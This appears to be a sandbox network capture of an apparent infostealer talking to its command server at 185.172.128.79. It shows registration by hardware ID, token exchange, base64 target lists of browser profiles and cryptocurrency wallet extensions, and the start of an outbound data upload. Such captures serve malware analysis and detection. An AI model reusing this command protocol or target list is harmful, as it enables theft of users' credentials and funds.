Feb 5, 2024 10:57:52.375498056 CET	1286	IN	Data Raw: 00 74 12 8b 0d 54 0b 43 00 85 48 70 75 07 e8 0d 55 00 00 89 06 8b 46 04 3b 05 58 0a 43 00 74 16 8b 46 08 8b 0d 54 0b 43 00 85 48 70 75 08 e8 81 4d 00 00 89 46 04 8b 46 08 f6 40 70 02 75 14 83 48 70 02 c6 46 0c 01 eb 0a 8b 08 89 0e 8b 40 04 89 46 Data Ascii: tTCHpuUF;XCtFTCHpuMFF@puHpF@F^]A@tyt$IxQPYYuUVMEM>t}^]UG@SVt2u,E+M}C>uO8*u?d
Feb 5, 2024 10:57:52.375535965 CET	1286	IN	Data Raw: 58 48 48 74 08 48 48 0f 85 92 05 00 00 80 c2 20 c7 85 90 fd ff ff 01 00 00 00 88 95 ef fd ff ff 83 8d f0 fd ff ff 40 39 b5 e8 fd ff ff 8d 9d f4 fd ff ff b8 00 02 00 00 89 9d e4 fd ff ff 89 85 a0 fd ff ff 0f 8d 48 02 00 00 c7 85 e8 fd ff ff 06 00 Data Ascii: XHHtHH @9H00uu;u@CXHHty+
Feb 5, 2024 10:57:52.375574112 CET	1286	IN	Data Raw: 83 f9 39 89 9d a0 fd ff ff 8b f8 8b da 7e 06 03 8d b8 fd ff ff 88 0e 4e eb bd 8d 45 f3 2b c6 46 f7 85 f0 fd ff ff 00 02 00 00 89 85 e0 fd ff ff 89 b5 e4 fd ff ff 74 61 85 c0 74 07 8b ce 80 39 30 74 56 ff 8d e4 fd ff ff 8b 8d e4 fd ff ff c6 01 30 Data Ascii: 9~NE+Ftat90tV0@>If90t@@;u+(;u<CI8t@;u+\@t2t-t+t ++
Feb 5, 2024 10:57:52.375612974 CET	1286	IN	Data Raw: 28 2d f0 aa 42 00 8d 05 c0 a2 42 00 c1 e2 05 03 c2 66 0f 59 d1 f2 0f 5c c3 f2 0f 59 0d 28 ab 42 00 f2 0f 5c e3 66 0f 12 78 08 66 0f 14 c0 f2 0f 10 dc f2 0f 5c e2 66 0f 59 e8 66 0f 5c c2 66 0f 28 35 d0 aa 42 00 f2 0f 59 fc f2 0f 5c dc 66 0f 59 e8 Data Ascii: (-BBfY\Y(B\fxf\fYf\f(5BY\fYfY\f(\fXX\YfYYfYfYfX-BY fX5BfYXXYXfXfh\\XHfYXXXXXfXXfd$
Feb 5, 2024 10:57:52.375667095 CET	1286	IN	Data Raw: 76 9e dc 0d b4 ab 42 00 eb 96 cc cc cc cc 55 8b ec 83 c4 e0 89 45 e0 8b 45 18 89 45 f0 8b 45 1c 89 45 f4 eb 09 55 8b ec 83 c4 e0 89 45 e0 dd 5d f8 89 4d e4 8b 45 10 8b 4d 14 89 45 e8 89 4d ec 8d 45 08 8d 4d e0 50 51 52 e8 59 51 00 00 83 c4 0c dd Data Ascii: vBUEEEEEUE]MEMEMEMPQRYQEf}tmU(3S]VuW}EEEEEEEE9.Ct5dC`&Y@M;t[jY+JJ
Feb 5, 2024 10:57:52.578027010 CET	1286	IN	Data Raw: 00 74 14 e8 87 f7 ff ff 80 8d 38 fd ff ff 03 e8 9e 00 00 00 5b c9 c3 d9 c9 dd 95 7a ff ff ff d9 c9 dd 55 82 eb dd 55 8b ec 81 c4 30 fd ff ff 53 9b d9 bd 5c ff ff ff 83 3d 70 0c 43 00 00 74 1b e8 e3 f6 ff ff 80 8d 38 fd ff ff 01 80 a5 38 fd ff ff Data Ascii: t8[zUU0S\=pCt88Z[zU0Suuuu\8q[8=.CuO0pt<t[<t?t3rf\f u

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49764	185.172.128.79	80	2344	C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:57:55.371438026 CET	414	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFBFCGIDAKECGCBGDBAF Host: 185.172.128.79 Content-Length: 213 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 33 41 41 38 37 33 35 31 38 46 36 36 32 33 30 30 30 30 33 30 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 2d 2d 0d 0a Data Ascii: ------CFBFCGIDAKECGCBGDBAFContent-Disposition: form-data; name="hwid"33AA873518F6623000030------CFBFCGIDAKECGCBGDBAFContent-Disposition: form-data; name="build"default------CFBFCGIDAKECGCBGDBAF--
Feb 5, 2024 10:57:55.717120886 CET	351	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:57:55 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 156 Connection: keep-alive Vary: Accept-Encoding Data Raw: 4f 54 6c 6c 4d 47 56 6a 4e 54 46 6b 5a 54 41 78 4e 57 55 34 59 6d 45 77 59 6d 4d 30 5a 44 51 33 59 32 5a 68 5a 6a 68 6b 59 57 4d 79 4d 32 4d 35 5a 47 4d 30 4d 7a 52 6d 4e 57 46 68 4d 44 59 35 4d 7a 41 79 4f 57 45 30 4e 7a 63 34 59 6d 46 69 5a 6d 4e 6d 4e 6a 45 32 5a 6a 6b 77 4d 32 59 31 66 47 70 69 5a 48 52 68 61 57 70 76 64 6d 64 38 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 66 44 46 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 3d Data Ascii: OTllMGVjNTFkZTAxNWU4YmEwYmM0ZDQ3Y2ZhZjhkYWMyM2M5ZGM0MzRmNWFhMDY5MzAyOWE0Nzc4YmFiZmNmNjE2ZjkwM2Y1fGpiZHRhaWpvdmd8ZWltZWhydnpvZC5maWxlfDF8MHwxfDF8MXwxfDF8MXw=
Feb 5, 2024 10:57:55.721554041 CET	469	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBAKJKJJJECFIEBFHIEG Host: 185.172.128.79 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 4b 4a 4a 4a 45 43 46 49 45 42 46 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 39 65 30 65 63 35 31 64 65 30 31 35 65 38 62 61 30 62 63 34 64 34 37 63 66 61 66 38 64 61 63 32 33 63 39 64 63 34 33 34 66 35 61 61 30 36 39 33 30 32 39 61 34 37 37 38 62 61 62 66 63 66 36 31 36 66 39 30 33 66 35 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 4b 4a 4a 4a 45 43 46 49 45 42 46 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 4b 4a 4a 4a 45 43 46 49 45 42 46 48 49 45 47 2d 2d 0d 0a Data Ascii: ------CBAKJKJJJECFIEBFHIEGContent-Disposition: form-data; name="token"99e0ec51de015e8ba0bc4d47cfaf8dac23c9dc434f5aa0693029a4778babfcf616f903f5------CBAKJKJJJECFIEBFHIEGContent-Disposition: form-data; name="message"browsers------CBAKJKJJJECFIEBFHIEG--
Feb 5, 2024 10:57:56.043035030 CET	1286	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:57:55 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1520 Connection: keep-alive Vary: Accept-Encoding Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 64 6d 6c 32 59 57 78 6b 61 53 35 6c 65 47 56 38 51 32 39 74 62 32 52 76 49 45 52 79 59 57 64 76 62 6e 78 63 51 32 39 74 62 32 52 76 58 45 52 79 59 57 64 76 62 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 52 58 42 70 59 31 42 79 61 58 5a 68 59 33 6c 43 63 6d 39 33 63 32 56 79 66 46 78 46 63 47 6c 6a 49 46 42 79 61 58 5a 68 59 33 6b 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 32 39 6a 51 32 39 6a 66 46 78 44 62 32 4e 44 62 32 4e 63 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 6e 4a 68 64 6d 56 38 58 45 4a 79 59 58 5a 6c 55 32 39 6d 64 48 64 68 63 6d 56 63 51 6e 4a 68 64 6d 55 74 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4a 79 59 58 5a 6c 4c 6d 56 34 5a 58 78 44 5a 57 35 30 49 45 4a 79 62 33 64 7a 5a 58 4a 38 58 45 4e 6c 62 6e 52 43 63 6d 39 33 63 32 56 79 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 77 33 55 33 52 68 63 6e 78 63 4e 31 4e 30 59 58 4a 63 4e 31 4e 30 59 58 4a 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 77 77 66 45 4e 6f 5a 57 52 76 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 61 47 56 6b 62 33 52 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 77 77 66 45 31 70 59 33 4a 76 63 32 39 6d 64 43 42 46 5a 47 64 6c 66 46 78 4e 61 57 4e 79 62 33 4e 76 5a 6e 52 63 52 57 52 6e 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 31 7a 5a 57 52 6e 5a 53 35 6c 65 47 56 38 4d 7a 59 77 49 45 4a 79 62 33 64 7a 5a 58 4a 38 58 44 4d 32 4d 45 4a 79 62 33 64 7a 5a 58 4a 63 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 55 56 46 43 63 6d 39 33 63 32 56 79 66 46 78 55 5a 57 35 6a 5a 57 35 30 58 46 46 52 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2
Feb 5, 2024 10:57:56.043071032 CET	430	IN	Data Raw: 68 79 62 32 31 6c 66 47 4a 79 62 33 64 7a 5a 58 49 75 5a 58 68 6c 66 45 39 77 5a 58 4a 68 49 46 4e 30 59 57 4a 73 5a 58 78 63 54 33 42 6c 63 6d 45 67 55 32 39 6d 64 48 64 68 63 6d 56 38 62 33 42 6c 63 6d 46 38 62 33 42 6c 63 6d 45 75 5a 58 68 6c Data Ascii: hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRmlyZWZveHxcTW96aWxsYVxGaXJlZm94XFByb2ZpbGVzfGZpcmVmb3h8MHxQYWxlIE1vb258XE1vb25jaGlsZ
Feb 5, 2024 10:57:56.049215078 CET	468	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEHDBAAFIDGDAAAAAAAA Host: 185.172.128.79 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 48 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 39 65 30 65 63 35 31 64 65 30 31 35 65 38 62 61 30 62 63 34 64 34 37 63 66 61 66 38 64 61 63 32 33 63 39 64 63 34 33 34 66 35 61 61 30 36 39 33 30 32 39 61 34 37 37 38 62 61 62 66 63 66 36 31 36 66 39 30 33 66 35 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 2d 2d 0d 0a Data Ascii: ------IEHDBAAFIDGDAAAAAAAAContent-Disposition: form-data; name="token"99e0ec51de015e8ba0bc4d47cfaf8dac23c9dc434f5aa0693029a4778babfcf616f903f5------IEHDBAAFIDGDAAAAAAAAContent-Disposition: form-data; name="message"plugins------IEHDBAAFIDGDAAAAAAAA--
Feb 5, 2024 10:57:56.375125885 CET	1286	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:57:56 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 5416 Connection: keep-alive Vary: Accept-Encoding Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d 5a 75 59 6d 56 73 5a 6d 52 76 5a 57 6c 76 61 47 56 75 61 32 70 70 59 6d 35 74 59 57 52 71 61 57 56 6f 61 6d 68 68 61 6d 4a 38 4d 58 77 77 66 44 42 38 51 32 39 70 62 6d 4a 68 63 32 55 67 56 32 46 73 62 47 56 30 49 47 56 34 64 47 56 75 63 32 6c 76 62 6e 78 6f 62 6d 5a 68 62 6d 74 75 62 32 4e 6d 5a 57 39 6d 59 6d 52 6b 5a 32 4e 70 61 6d 35 74 61 47 35 6d 62 6d 74 6b 62 6d 46 68 5a 48 77 78 66 44 42 38 4d 58 78 48 64 57 46 79 5a 47 46 38 61 48 42 6e 62 47 5a 6f 5a 32 5a 75 61 47 4a 6e 63 47 70 6b 5a 57 35 71 5a 32 31 6b 5a 32 39 6c 61 57 46 77 63 47 46 6d 62 47 35 38 4d 58 77 77 66 44 42 38 53 6d 46 34 65 43 42 4d 61 57 4a 6c 63 6e 52 35 66 47 4e 71 5a 57 78 6d 63 47 78 77 62 47 56 69 5a 47 70 71 5a 57 35 73 62 48 42 71 59 32 4a 73 62 57 70 72 5a 6d 4e 6d 5a 6d 35 6c 66 44 46 38 4d 48 77 77 66 47 6c 58 59 57 78 73 5a 58 52 38 61 32 35 6a 59 32 68 6b 61 57 64 76 59 6d 64 6f 5a 57 35 69 59 6d 46 6b 5a 47 39 71 61 6d 35 75 59 57 39 6e 5a 6e 42 77 5a 6d 70 38 4d 58 77 77 66 44 42 38 54 55 56 58 49 45 4e 59 66 47 35 73 59 6d 31 75 62 6d 6c 71 59 32 35 73 5a 57 64 72 61 6d 70 77 59 32 5a 71 59 32 78 74 59 32 5a 6e 5a 32 5a 6c 5a 6d 52 74 66 44 46 38 4d 48 77 77 66 45 64 31 61 57 78 6b 56 32 46 73 62 47 56 30 66 47 35 68 62 6d 70 74 5a 47 74 75 61 47 74 70 62 6d 6c 6d 62 6d 74 6e 5a 47 4e 6e 5a 32 4e 6d 62 6d 68 6b 59 57 46 74 62 57 31 71 66 44 46 38 4d 48 77 77 66 46 4a 76 62 6d 6c 75 49 46 64 68 62 47 78 6c 64 48 78 6d 62 6d 70 6f 62 57 74 6f 61 47 31 72 59 6d 70 72 61 32 46 69 62 6d 52 6a 62 6d 35 76 5a 32 46 6e 62 32 64 69 62 6d 56 6c 59 33 77 78 66 44 42 38 4d 48 78 4f 5a 57 39 4d 61 57 35 6c 66 47 4e 77 61 47 68 73 5a 32 31 6e 59 57 31 6c 62 32 52 75 61 47 74 71 5a 47 31 72 63 47 46 75 62 47 56 73 62 6d 78 76 61 47 46 76 66 44 46 38 4d 48 77 77 66 45 4e 4d 56 69 42 58 59 57 78 73 5a 58 52 38 62 6d 68 75 61 32 4a 72 5a 32 70 70 61 32 64 6a 61 57 64 68 5a 47 39 74 61 33 42 6f 59 57 78 68 62 6d 35 6b 59 32 46 77 61 6d 74 38 4d 58 77 77 66 44 42 38 54 47 6c 78 64 57 46 73 61 58 52 35 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIF
Feb 5, 2024 10:57:56.375185966 CET	1286	IN	Data Raw: 64 68 62 47 78 6c 64 48 78 68 61 57 6c 6d 59 6d 35 69 5a 6d 39 69 63 47 31 6c 5a 57 74 70 63 47 68 6c 5a 57 6c 71 61 57 31 6b 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e Data Ascii: dhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZ
Feb 5, 2024 10:57:56.375277042 CET	1286	IN	Data Raw: 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 77 77 66 45 4e 35 59 57 35 76 49 46 64 68 62 47 78 6c 64 48 Data Ascii: cmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramV
Feb 5, 2024 10:57:56.375318050 CET	1286	IN	Data Raw: 78 6e 62 32 5a 76 61 58 42 77 59 6d 64 6a 61 6d 56 77 62 6d 68 70 59 6d 78 68 61 57 4a 6a 62 6d 4e 73 5a 32 74 38 4d 58 77 77 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 57 74 75 5a 47 70 6f 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 Data Ascii: xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ
Feb 5, 2024 10:57:56.375356913 CET	468	IN	Data Raw: 62 58 42 6c 62 47 39 75 59 32 5a 75 59 6d 56 72 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 4e 68 5a 57 70 77 5a 6d Data Ascii: bXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGN
Feb 5, 2024 10:57:56.498100996 CET	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCFBFHIEBKJKFHIEBFBA Host: 185.172.128.79 Content-Length: 7423 Connection: Keep-Alive Cache-Control: no-cache
